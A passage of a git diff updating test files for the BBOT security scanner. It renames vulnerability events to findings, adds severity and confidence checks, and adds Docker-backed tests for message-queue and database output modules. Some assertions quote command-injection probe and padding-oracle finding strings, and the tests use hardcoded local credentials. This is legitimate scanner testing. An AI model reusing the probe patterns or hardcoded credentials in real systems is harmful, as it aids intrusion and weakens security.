f"Text extracted from {raw_text_event.data['path']} is incorrect, got {raw_text_event.data}" diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 90cdefa676..377adacaf8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1177,6 +1177,9 @@ def check(self, module_test, events): lightfuzz_serial_detect_errorresolution = False for e in events: + print("@@@@") + print(e.type) + print(e.data) if e.type == "WEB_PARAMETER": if e.data["name"] == "TextBox1": excavate_extracted_form_parameter = True @@ -1456,7 +1459,7 @@ def check(self, module_test, events): if "HTTP Extracted Parameter [search]" in e.data["description"]: web_parameter_emitted = True - if e.type == "VULNERABILITY": + if e.type == "FINDING": if ( "OS Command Injection (OOB Interaction) Type: [GETPARAM] Parameter Name: [search] Probe: [&&]" in e.data["description"] @@ -1683,8 +1686,6 @@ def check(self, module_test, events): == "Probable Cryptographic Parameter. Parameter: [encrypted_data] Parameter Type: [POSTPARAM] Original Value: [dplyorsu8VUriMW/8DqVDU6kRwL/FDk3Q%2B4GXVGZbo0CTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg%3D%3D] Detection Technique(s): [Single-byte Mutation] Envelopes: [URL-Encoded]" ): cryptographic_parameter_finding = True - - if e.type == "VULNERABILITY": if ( e.data["description"] == "Padding Oracle Vulnerability. Block size: [16] Parameter: [encrypted_data] Parameter Type: [POSTPARAM] Original Value: [dplyorsu8VUriMW/8DqVDU6kRwL/FDk3Q%2B4GXVGZbo0CTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg%3D%3D] Envelopes: [URL-Encoded]" @@ -1746,7 +1747,7 @@ def check(self, module_test, events): ): cryptographic_parameter_finding = True - if e.type == "VULNERABILITY": + if e.type == "FINDING": if ( "Padding Oracle Vulnerability. Block size: [16]" in e.data["description"] and "encrypted_data" in e.data["description"] @@ -1760,7 +1761,7 @@ def check(self, module_test, events): class Test_Lightfuzz_PaddingOracleDetection_Noisy(Test_Lightfuzz_PaddingOracleDetection): """Padding oracle negative test: the server returns different responses for ~30 byte values, - which exceeds any valid block size. This should NOT produce a VULNERABILITY.""" + which exceeds any valid block size. This should NOT produce a FINDING.""" def request_handler(self, request): encrypted_value = quote( @@ -1822,7 +1823,7 @@ def check(self, module_test, events): and "encrypted_data" in e.data["description"] ): cryptographic_parameter_finding = True - if e.type == "VULNERABILITY": + if e.type == "FINDING": if "Padding Oracle" in e.data["description"]: padding_oracle_detected = True diff --git a/bbot/test/test_step_2/module_tests/test_module_medusa.py b/bbot/test/test_step_2/module_tests/test_module_medusa.py index 52743ebd5c..773c6733b5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_medusa.py +++ b/bbot/test/test_step_2/module_tests/test_module_medusa.py @@ -44,7 +44,9 @@ async def setup_after_prep(self, module_test): await module_test.module.emit_event(protocol_event) def check(self, module_test, events): - vuln_events = [e for e in events if e.type == "VULNERABILITY"] + vuln_events = [e for e in events if e.type == "FINDING"] assert len(vuln_events) == 1 assert "VALID [SNMPV2C] CREDENTIALS FOUND: public [READ]" in vuln_events[0].data["description"] + assert vuln_events[0].data["severity"] == "CRITICAL" + assert vuln_events[0].data["confidence"] == "CONFIRMED" diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py new file mode 100644 index 0000000000..9accae94c1 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -0,0 +1,152 @@ +import time +import asyncio + +from .base import ModuleTestBase + + +class TestMongo(ModuleTestBase): + test_db_name = "bbot_test" + test_collection_prefix = "test_" + config_overrides = { + "modules": { + "mongo": { + "database": test_db_name, + "username": "bbot", + "password": "bbotislife", + "collection_prefix": test_collection_prefix, + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + await asyncio.create_subprocess_exec( + "docker", + "run", + "--name", + "bbot-test-mongo", + "--rm", + "-e", + "MONGO_INITDB_ROOT_USERNAME=bbot", + "-e", + "MONGO_INITDB_ROOT_PASSWORD=bbotislife", + "-p", + "27017:27017", + "-d", + "mongo", + ) + + from pymongo import AsyncMongoClient + + # Connect to the MongoDB collection with retry logic + while True: + try: + client = AsyncMongoClient("mongodb://localhost:27017", username="bbot", password="bbotislife") + db = client[self.test_db_name] + events_collection = db.get_collection(self.test_collection_prefix + "events") + # Attempt a simple operation to confirm the connection + await events_collection.count_documents({}) + break # Exit the loop if connection is successful + except Exception as e: + print(f"Connection failed: {e}. Retrying...") + time.sleep(0.5) + + # Check that there are no events in the collection + count = await events_collection.count_documents({}) + assert count == 0, "There are existing events in the database" + + # Close the MongoDB connection + client.close() + + async def check(self, module_test, events): + try: + from bbot.models.pydantic import Event + from pymongo import AsyncMongoClient + + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Connect to the MongoDB collection + client = AsyncMongoClient("mongodb://localhost:27017", username="bbot", password="bbotislife") + db = client[self.test_db_name] + events_collection = db.get_collection(self.test_collection_prefix + "events") + + ### INDEXES ### + + # make sure the collection has all the right indexes + indexes_cursor = await events_collection.list_indexes() + indexes = await indexes_cursor.to_list(length=None) + # indexes = await cursor.to_list(length=None) + for field in Event.indexed_fields(): + assert any(field in index["key"] for index in indexes), f"Index for {field} not found" + + ### EVENTS ### + + # Fetch all events from the collection + cursor = events_collection.find({}) + db_events = await cursor.to_list(length=None) + + # make sure we have the same number of events + assert len(events_json) == len(db_events) + + for db_event in db_events: + assert isinstance(db_event["timestamp"], float) + assert isinstance(db_event["inserted_at"], float) + + # Convert to Pydantic objects and dump them + db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] + db_events_pydantic.sort(key=lambda x: x["timestamp"]) + + # Find the main event with type DNS_NAME and data blacklanternsecurity.com + main_event = next( + ( + e + for e in db_events_pydantic + if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com" + ), + None, + ) + assert main_event is not None, "Main event with type DNS_NAME and data blacklanternsecurity.com not found" + + # Ensure it has the reverse_host attribute + expected_reverse_host = "blacklanternsecurity.com"[::-1] + assert main_event.get("reverse_host") == expected_reverse_host, ( + f"reverse_host attribute is not correct, expected {expected_reverse_host}" + ) + + # Events don't match exactly because the mongo ones have reverse_host and inserted_at + assert events_json != db_events_pydantic + for db_event in db_events_pydantic: + db_event.pop("reverse_host", None) + db_event.pop("inserted_at", None) + db_event.pop("archived", None) + # They should match after removing reverse_host + assert events_json == db_events_pydantic, "Events do not match" + + ### SCANS ### + + # Fetch all scans from the collection + cursor = db.get_collection(self.test_collection_prefix + "scans").find({}) + db_scans = await cursor.to_list(length=None) + assert len(db_scans) == 1, "There should be exactly one scan" + db_scan = db_scans[0] + assert db_scan["id"] == main_event["scan"], "Scan id should match main event scan" + + ### TARGETS ### + + # Fetch all targets from the collection + cursor = db.get_collection(self.test_collection_prefix + "targets").find({}) + db_targets = await cursor.to_list(length=None) + assert len(db_targets) == 1, "There should be exactly one target" + db_target = db_targets[0] + scan_event = next(e for e in events if e.type == "SCAN") + assert db_target["hash"] == scan_event.data["target"]["hash"], "Target hash should match scan target hash" + + finally: + # Clean up: Delete all documents in the collection + await events_collection.delete_many({}) + # Close the MongoDB connection + client.close() + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-mongo", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_mysql.py b/bbot/test/test_step_2/module_tests/test_module_mysql.py index 4867c568d5..de30c58f9f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mysql.py +++ b/bbot/test/test_step_2/module_tests/test_module_mysql.py @@ -1,5 +1,4 @@ import asyncio -import time from .base import ModuleTestBase @@ -28,20 +27,8 @@ async def setup_before_prep(self, module_test): ) stdout, stderr = await process.communicate() - import aiomysql - # wait for the container to start - start_time = time.time() - while True: - try: - conn = await aiomysql.connect(user="root", password="bbotislife", db="bbot", host="localhost") - conn.close() - break - except Exception as e: - if time.time() - start_time > 60: # timeout after 60 seconds - self.log.error("MySQL server did not start in time.") - raise e - await asyncio.sleep(1) + await self.wait_for_port_open(3306) if process.returncode != 0: self.log.error(f"Failed to start MySQL server: {stderr.decode()}") diff --git a/bbot/test/test_step_2/module_tests/test_module_nats.py b/bbot/test/test_step_2/module_tests/test_module_nats.py new file mode 100644 index 0000000000..66f4d38937 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_nats.py @@ -0,0 +1,65 @@ +import json +import asyncio +from contextlib import suppress + +from .base import ModuleTestBase + + +class TestNats(ModuleTestBase): + config_overrides = { + "modules": { + "nats": { + "servers": ["nats://localhost:4222"], + "subject": "bbot_events", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + # Start NATS server + await asyncio.create_subprocess_exec( + "docker", "run", "-d", "--rm", "--name", "bbot-test-nats", "-p", "4222:4222", "nats:latest" + ) + + # Wait for NATS to be ready by checking the port + await self.wait_for_port_open(4222) + + # Connect to NATS + import nats + + try: + self.nc = await nats.connect(["nats://localhost:4222"]) + except Exception as e: + self.log.error(f"Error connecting to NATS: {e}") + raise + + # Collect events from NATS + self.nats_events = [] + + async def message_handler(msg): + event_data = json.loads(msg.data.decode("utf-8")) + self.nats_events.append(event_data) + + await self.nc.subscribe("bbot_events", cb=message_handler) + + async def check(self, module_test, events): + try: + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + self.nats_events.sort(key=lambda x: x["timestamp"]) + + # Verify the events match + assert events_json == self.nats_events, "Events do not match" + + finally: + with suppress(Exception): + # Clean up: Stop the NATS client + if self.nc.is_connected: + await self.nc.drain() + await self.nc.close() + # Stop NATS server container + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-nats", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_nuclei.py b/bbot/test/test_step_2/module_tests/test_module_nuclei.py index cc19e0da77..65a363a390 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nuclei.py +++ b/bbot/test/test_step_2/module_tests/test_module_nuclei.py @@ -53,8 +53,11 @@ def check(self, module_test, events): if e.type == "FINDING": if "Directory listing enabled" in e.data["description"]: first_run_detect = True + # Nuclei emits HIGH confidence for most findings + assert e.data["confidence"] == "HIGH" elif "Copyright" in e.data["description"]: second_run_detect = True + assert e.data["confidence"] == "HIGH" assert first_run_detect assert second_run_detect @@ -82,9 +85,7 @@ async def setup_after_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any( - e.type == "VULNERABILITY" and "Generic Env File Disclosure" in e.data["description"] for e in events - ) + assert any(e.type == "FINDING" and "Generic Env File Disclosure" in e.data["description"] for e in events) class TestNucleiTechnology(TestNucleiManual): diff --git a/bbot/test/test_step_2/module_tests/test_module_portscan.py b/bbot/test/test_step_2/module_tests/test_module_portscan.py index 2f904e90eb..63f234559c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_portscan.py +++ b/bbot/test/test_step_2/module_tests/test_module_portscan.py @@ -79,13 +79,13 @@ def check(self, module_test, events): assert self.syn_runs >= 1 assert self.ping_runs == 0 assert 1 == len( - [e for e in events if e.type == "DNS_NAME" and e.data == "evilcorp.com" and str(e.module) == "TARGET"] + [e for e in events if e.type == "DNS_NAME" and e.data == "evilcorp.com" and str(e.module) == "SEED"] ) assert 1 == len( - [e for e in events if e.type == "DNS_NAME" and e.data == "www.evilcorp.com" and str(e.module) == "TARGET"] + [e for e in events if e.type == "DNS_NAME" and e.data == "www.evilcorp.com" and str(e.module) == "SEED"] ) assert 1 == len( - [e for e in events if e.type == "DNS_NAME" and e.data == "asdf.evilcorp.net" and str(e.module) == "TARGET"] + [e for e in events if e.type == "DNS_NAME" and e.data == "asdf.evilcorp.net" and str(e.module) == "SEED"] ) assert 1 == len( [ diff --git a/bbot/test/test_step_2/module_tests/test_module_postgres.py b/bbot/test/test_step_2/module_tests/test_module_postgres.py index ea6c00210c..8c52eabebe 100644 --- a/bbot/test/test_step_2/module_tests/test_module_postgres.py +++ b/bbot/test/test_step_2/module_tests/test_module_postgres.py @@ -1,4 +1,3 @@ -import time import asyncio from .base import ModuleTestBase @@ -25,27 +24,8 @@ async def setup_before_prep(self, module_test): "postgres", ) - import asyncpg - # wait for the container to start - start_time = time.time() - while True: - try: - # Connect to the default 'postgres' database to create 'bbot' - conn = await asyncpg.connect( - user="postgres", password="bbotislife", database="postgres", host="127.0.0.1" - ) - await conn.execute("CREATE DATABASE bbot") - await conn.close() - break - except asyncpg.exceptions.DuplicateDatabaseError: - # If the database already exists, break the loop - break - except Exception as e: - if time.time() - start_time > 60: # timeout after 60 seconds - self.log.error("PostgreSQL server did not start in time.") - raise e - await asyncio.sleep(1) + await self.wait_for_port_open(5432) if process.returncode != 0: self.log.error("Failed to start PostgreSQL server") diff --git a/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py new file mode 100644 index 0000000000..c272e0b86c --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py @@ -0,0 +1,71 @@ +import json +import asyncio +from contextlib import suppress + +from .base import ModuleTestBase + + +class TestRabbitMQ(ModuleTestBase): + config_overrides = { + "modules": { + "rabbitmq": { + "url": "amqp://guest:guest@localhost/", + "queue": "bbot_events", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + import aio_pika + + # Start RabbitMQ + await asyncio.create_subprocess_exec( + "docker", "run", "-d", "--rm", "--name", "bbot-test-rabbitmq", "-p", "5672:5672", "rabbitmq:3-management" + ) + + # Wait for RabbitMQ to be ready + while True: + try: + # Attempt to connect to RabbitMQ with a timeout + connection = await aio_pika.connect_robust("amqp://guest:guest@localhost/") + break # Exit the loop if the connection is successful + except Exception as e: + with suppress(Exception): + await connection.close() + self.log.verbose(f"Waiting for RabbitMQ to be ready: {e}") + await asyncio.sleep(0.5) # Wait a bit before retrying + + async def check(self, module_test, events): + import aio_pika + + connection = await aio_pika.connect_robust("amqp://guest:guest@localhost/") + channel = await connection.channel() + queue = await channel.declare_queue("bbot_events", durable=True) + + try: + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Collect events from RabbitMQ + rabbitmq_events = [] + async with queue.iterator() as queue_iter: + async for message in queue_iter: + async with message.process(): + event_data = json.loads(message.body.decode("utf-8")) + rabbitmq_events.append(event_data) + if len(rabbitmq_events) >= len(events_json): + break + + rabbitmq_events.sort(key=lambda x: x["timestamp"]) + + # Verify the events match + assert events_json == rabbitmq_events, "Events do not match" + + finally: + # Clean up: Close the RabbitMQ connection + await connection.close() + # Stop RabbitMQ container + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-rabbitmq", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_robots.py b/bbot/test/test_step_2/module_tests/test_module_robots.py index 3d9156bb4c..10a4107375 100644 --- a/bbot/test/test_step_2/module_tests/test_module_robots.py +++ b/bbot/test/test_step_2/module_tests/test_module_robots.py @@ -22,7 +22,7 @@ def check(self, module_test, events): for e in events: if e.type == "URL_UNVERIFIED": - if str(e.module) != "TARGET": + if str(e.module) != "SEED": assert "spider-danger" in e.tags, f"{e} doesn't have spider-danger tag" if e.data == "http://127.0.0.1:8888/allow/": allow_bool = True diff --git a/bbot/test/test_step_2/module_tests/test_module_slack.py b/bbot/test/test_step_2/module_tests/test_module_slack.py index 1258ed5110..a2809bcaf1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_slack.py +++ b/bbot/test/test_step_2/module_tests/test_module_slack.py @@ -4,4 +4,4 @@ class TestSlack(DiscordBase): modules_overrides = ["slack", "excavate", "badsecrets", "httpx"] webhook_url = "https://hooks.slack.com/services/deadbeef/deadbeef/deadbeef" - config_overrides = {"modules": {"slack": {"webhook_url": webhook_url}}} + config_overrides = {"modules": {"slack": {"webhook_url": webhook_url, "min_severity": "INFORMATIONAL"}}} diff --git a/bbot/test/test_step_2/module_tests/test_module_splunk.py b/bbot/test/test_step_2/module_tests/test_module_splunk.py index 8366a6289b..a849055d2b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_splunk.py +++ b/bbot/test/test_step_2/module_tests/test_module_splunk.py @@ -23,7 +23,7 @@ def verify_data(self, j): if not j["index"] == "bbot_index": return False data = j["event"] - if not data["data"] == "blacklanternsecurity.com" and data["type"] == "DNS_NAME": + if not data["data_json"] == "blacklanternsecurity.com" and data["type"] == "DNS_NAME": return False return True diff --git a/bbot/test/test_step_2/module_tests/test_module_sqlite.py b/bbot/test/test_step_2/module_tests/test_module_sqlite.py index ec80b7555d..7970627b15 100644 --- a/bbot/test/test_step_2/module_tests/test_module_sqlite.py +++ b/bbot/test/test_step_2/module_tests/test_module_sqlite.py @@ -8,6 +8,8 @@ class TestSQLite(ModuleTestBase): def check(self, module_test, events): sqlite_output_file = module_test.scan.home / "output.sqlite" assert sqlite_output_file.exists(), "SQLite output file not found" + + # first connect with raw sqlite with sqlite3.connect(sqlite_output_file) as db: cursor = db.cursor() results = cursor.execute("SELECT * FROM event").fetchall() @@ -16,3 +18,15 @@ def check(self, module_test, events): assert len(results) == 1, "No scans found in SQLite database" results = cursor.execute("SELECT * FROM target").fetchall() assert len(results) == 1, "No targets found in SQLite database" + + # then connect with bbot models + from bbot.models.sql import Event + from sqlmodel import create_engine, Session, select + + engine = create_engine(f"sqlite:///{sqlite_output_file}") + + with Session(engine) as session: + statement = select(Event).where(Event.host == "evilcorp.com") + event = session.exec(statement).first() + assert event.host == "evilcorp.com", "Event host should match target host" + assert event.data == "evilcorp.com", "Event data should match target host" diff --git a/bbot/test/test_step_2/module_tests/test_module_stdout.py b/bbot/test/test_step_2/module_tests/test_module_stdout.py index 27d8a30594..a77a2a3f89 100644 --- a/bbot/test/test_step_2/module_tests/test_module_stdout.py +++ b/bbot/test/test_step_2/module_tests/test_module_stdout.py @@ -9,7 +9,7 @@ class TestStdout(ModuleTestBase): def check(self, module_test, events): out, err = module_test.capsys.readouterr() assert out.startswith("[SCAN] \tteststdout") - assert "[DNS_NAME] \tblacklanternsecurity.com\tTARGET" in out + assert "[DNS_NAME] \tblacklanternsecurity.com\tSEED" in out class TestStdoutEventTypes(TestStdout): @@ -18,7 +18,7 @@ class TestStdoutEventTypes(TestStdout): def check(self, module_test, events): out, err = module_test.capsys.readouterr() assert len(out.splitlines()) == 1 - assert out.startswith("[DNS_NAME] \tblacklanternsecurity.com\tTARGET") + assert out.startswith("[DNS_NAME] \tblacklanternsecurity.com\tSEED") class TestStdoutEventFields(TestStdout): diff --git a/bbot/test/test_step_2/module_tests/test_module_teams.py b/bbot/test/test_step_2/module_tests/test_module_teams.py index 3f573dc21b..788cf45f8b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_teams.py +++ b/bbot/test/test_step_2/module_tests/test_module_teams.py @@ -7,7 +7,9 @@ class TestTeams(DiscordBase): modules_overrides = ["teams", "excavate", "badsecrets", "httpx"] webhook_url = "https://evilcorp.webhook.office.com/webhookb2/deadbeef@deadbeef/IncomingWebhook/deadbeef/deadbeef" - config_overrides = {"modules": {"teams": {"webhook_url": webhook_url, "retries": 5}}} + config_overrides = { + "modules": {"teams": {"webhook_url": webhook_url, "retries": 5, "min_severity": "INFORMATIONAL"}} + } async def setup_after_prep(self, module_test): self.custom_setup(module_test) @@ -32,8 +34,6 @@ def custom_response(request: httpx.Request): module_test.httpx_mock.add_callback(custom_response, url=self.webhook_url) def check(self, module_test, events): - vulns = [e for e in events if e.type == "VULNERABILITY"] findings = [e for e in events if e.type == "FINDING"] - assert len(findings) == 1 - assert len(vulns) == 2 + assert len(findings) == 3 assert module_test.request_count == 5 diff --git a/bbot/test/test_step_2/module_tests/test_module_telerik.py b/bbot/test/test_step_2/module_tests/test_module_telerik.py index c401100bbe..71fa6bf1c4 100644 --- a/bbot/test/test_step_2/module_tests/test_module_telerik.py +++ b/bbot/test/test_step_2/module_tests/test_module_telerik.py @@ -91,7 +91,7 @@ def check(self, module_test, events): telerik_axd_detection = True continue - if e.type == "VULNERABILITY" and "Confirmed Vulnerable Telerik (version: 2014.3.1024)": + if e.type == "FINDING" and "Confirmed Vulnerable Telerik (version: 2014.3.1024)" in e.data["description"]: telerik_axd_vulnerable = True continue diff --git a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py index 49d2d568eb..57acc74656 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py +++ b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py @@ -1165,7 +1165,7 @@ def check(self, module_test, events): vuln_events = [ e for e in events - if e.type == "VULNERABILITY" + if e.type == "FINDING" and ( e.data["host"] == "hub.docker.com" or e.data["host"] == "github.com" @@ -1238,7 +1238,7 @@ def check(self, module_test, events): finding_events = [ e for e in events - if e.type == e.type == "FINDING" + if e.type == "FINDING" and ( e.data["host"] == "hub.docker.com" or e.data["host"] == "github.com" @@ -1309,7 +1309,7 @@ def check(self, module_test, events): class TestTrufflehog_RAWText(ModuleTestBase): targets = ["http://127.0.0.1:8888/test.pdf"] - modules_overrides = ["httpx", "trufflehog", "filedownload", "extractous"] + modules_overrides = ["httpx", "trufflehog", "filedownload", "kreuzberg"] download_dir = bbot_test_dir / "test_trufflehog_rawtext" config_overrides = { @@ -1330,3 +1330,6 @@ def check(self, module_test, events): finding_events = [e for e in events if e.type == "FINDING"] assert len(finding_events) == 1 assert "Possible Secret Found" in finding_events[0].data["description"] + # Trufflehog emits HIGH severity and MODERATE confidence for possible secrets + assert finding_events[0].data["severity"] == "HIGH" + assert finding_events[0].data["confidence"] == "MODERATE" diff --git a/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py b/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py index 725a96fecf..1961b50ce8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py +++ b/bbot/test/test_step_2/module_tests/test_module_url_manipulation.py @@ -34,6 +34,6 @@ def check(self, module_test, events): assert any( e.type == "FINDING" and e.data["description"] - == f"Url Manipulation: [body] Sig: [Modified URL: http://127.0.0.1:8888/?{module_test.module.rand_string}=.xml]" + == f"URL Manipulation: [body] Sig: [Modified URL: http://127.0.0.1:8888/?{module_test.module.rand_string}=.xml]" for e in events ) diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py index 55ac0f4b2a..772fd3ac43 100644 --- a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -857,9 +857,9 @@ def check(self, module_test, events): # Debug: print the response data to see what badsecrets is analyzing print(f"HTTP_RESPONSE data: {e.data}") - # Check for badsecrets vulnerability findings - elif e.type == "VULNERABILITY": - print(f"Found VULNERABILITY event: {e.data}") + # Check for badsecrets findings + elif e.type == "FINDING": + print(f"Found FINDING event: {e.data}") description = e.data["description"] # Check for JWT vulnerability (from cookie) diff --git a/bbot/test/test_step_2/module_tests/test_module_web_report.py b/bbot/test/test_step_2/module_tests/test_module_web_report.py index 40354e3981..92db464d7b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_web_report.py +++ b/bbot/test/test_step_2/module_tests/test_module_web_report.py @@ -17,7 +17,9 @@ def check(self, module_test, events): report_file = module_test.scan.home / "web_report.html" with open(report_file) as f: report_content = f.read() - assert "
  • [CRITICAL] Known Secret Found" in report_content + assert "
  • Severity: [CRITICAL] Confidence: [" in report_content + assert "CONFIRMED" in report_content + assert "Known Secret Found" in report_content assert ( """

    URL

      @@ -26,7 +28,7 @@ def check(self, module_test, events): ) assert """Possible Secret Found. Detector Type: [PrivateKey]""" in report_content assert "

      TECHNOLOGY

      " in report_content - assert "
    • DotNetNuke
    • " in report_content + assert "
    • dotnetnuke
    • " in report_content web_body = """ diff --git a/bbot/test/test_step_2/module_tests/test_module_wpscan.py b/bbot/test/test_step_2/module_tests/test_module_wpscan.py index 7e65c1dcce..0e4c1bef3c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wpscan.py +++ b/bbot/test/test_step_2/module_tests/test_module_wpscan.py @@ -1076,8 +1076,7 @@ async def wpscan_mock_run(*command, **kwargs): def check(self, module_test, events): findings = [e for e in events if e.type == "FINDING"] - vulnerabilities = [e for e in events if e.type == "VULNERABILITY"] technologies = [e for e in events if e.type == "TECHNOLOGY"] - assert len(findings) == 1 - assert len(vulnerabilities) == 59 + # Original expectation: 1 finding + 59 vulnerabilities = 60 FINDING events (all are now FINDING events) + assert len(findings) == 60, f"Expected 60 FINDING events, got {len(findings)}" assert len(technologies) == 4 diff --git a/bbot/test/test_step_2/module_tests/test_module_zeromq.py b/bbot/test/test_step_2/module_tests/test_module_zeromq.py new file mode 100644 index 0000000000..8c118570ef --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_zeromq.py @@ -0,0 +1,46 @@ +import json +import zmq +import zmq.asyncio + +from .base import ModuleTestBase + + +class TestZeroMQ(ModuleTestBase): + config_overrides = { + "modules": { + "zeromq": { + "zmq_address": "tcp://localhost:5555", + } + } + } + + async def setup_before_prep(self, module_test): + # Setup ZeroMQ context and socket + self.context = zmq.asyncio.Context() + self.socket = self.context.socket(zmq.SUB) + self.socket.connect("tcp://localhost:5555") + self.socket.setsockopt_string(zmq.SUBSCRIBE, "") + + async def check(self, module_test, events): + try: + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Collect events from ZeroMQ + zmq_events = [] + while len(zmq_events) < len(events_json): + msg = await self.socket.recv() + event_data = json.loads(msg.decode("utf-8")) + zmq_events.append(event_data) + + zmq_events.sort(key=lambda x: x["timestamp"]) + + assert len(events_json) == len(zmq_events), "Number of events does not match" + + # Verify the events match + assert events_json == zmq_events, "Events do not match" + + finally: + # Clean up: Close the ZeroMQ socket + self.socket.close() + self.context.term() diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index 29ddf9b475..4d1fbff4b3 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -54,8 +54,8 @@ def check(self, module_test, events): class TestSubdomainEnumHighestParent(TestSubdomainEnum): - targets = ["api.test.asdf.www.blacklanternsecurity.com", "evilcorp.com"] - whitelist = ["www.blacklanternsecurity.com"] + seeds = ["api.test.asdf.www.blacklanternsecurity.com", "evilcorp.com"] + targets = ["www.blacklanternsecurity.com"] modules_overrides = ["speculate"] dedup_strategy = "highest_parent" txt = None @@ -71,8 +71,11 @@ def check(self, module_test, events): assert len(distance_1_dns_names) == 2 assert 1 == len([e for e in distance_1_dns_names if e.data == "evilcorp.com"]) assert 1 == len([e for e in distance_1_dns_names if e.data == "blacklanternsecurity.com"]) - assert len(self.queries) == 1 - assert self.queries[0] == "www.blacklanternsecurity.com" + + # Passive subdomain enum templates operate on all seeds, even when + # they are outside the explicit target_list. + # we expect one query for the blacklantern scope and one for the unrelated evilcorp.com seed. + assert set(self.queries) == {"www.blacklanternsecurity.com", "evilcorp.com"} class TestSubdomainEnumLowestParent(TestSubdomainEnumHighestParent): @@ -80,6 +83,7 @@ class TestSubdomainEnumLowestParent(TestSubdomainEnumHighestParent): def check(self, module_test, events): assert set(self.queries) == { + "evilcorp.com", "test.asdf.www.blacklanternsecurity.com", "asdf.www.blacklanternsecurity.com", "www.blacklanternsecurity.com", @@ -88,8 +92,8 @@ def check(self, module_test, events): class TestSubdomainEnumWildcardBaseline(ModuleTestBase): # oh walmart.cn why are you like this - targets = ["www.walmart.cn"] - whitelist = ["walmart.cn"] + targets = ["walmart.cn"] + seeds = ["www.walmart.cn"] modules_overrides = [] config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 10}, "omit_event_types": []} dedup_strategy = "highest_parent" @@ -137,7 +141,7 @@ def check(self, module_test, events): for e in events if e.type == "DNS_NAME" and e.data == "www.walmart.cn" - and str(e.module) == "TARGET" + and str(e.module) == "SEED" and e.scope_distance == 0 ] ) @@ -166,6 +170,7 @@ def check(self, module_test, events): class TestSubdomainEnumWildcardDefense(TestSubdomainEnumWildcardBaseline): # oh walmart.cn why are you like this targets = ["walmart.cn"] + seeds = ["walmart.cn"] modules_overrides = [] config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 10}} dedup_strategy = "highest_parent" @@ -198,7 +203,7 @@ def check(self, module_test, events): for e in events if e.type == "DNS_NAME" and e.data == "walmart.cn" - and str(e.module) == "TARGET" + and str(e.module) == "SEED" and e.scope_distance == 0 ] ) diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index 5afb9f73aa..fc8e884af6 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -23,36 +23,36 @@ ] }, { - "id": 141, + "id": 140, "name": "AZURE_TENANT", "parent": 88888888, "consumes": [ - 140 + 139 ], "produces": [] }, { - "id": 46, + "id": 45, "name": "CODE_REPOSITORY", "parent": 88888888, "consumes": [ + 64, + 82, + 83, + 87, + 90, + 126, + 147 + ], + "produces": [ + 44, 65, + 81, 84, 85, + 88, 89, - 92, - 127, - 148 - ], - "produces": [ - 45, - 66, - 83, - 86, - 87, - 90, - 91, - 126 + 125 ] }, { @@ -62,141 +62,141 @@ "consumes": [ 6, 15, - 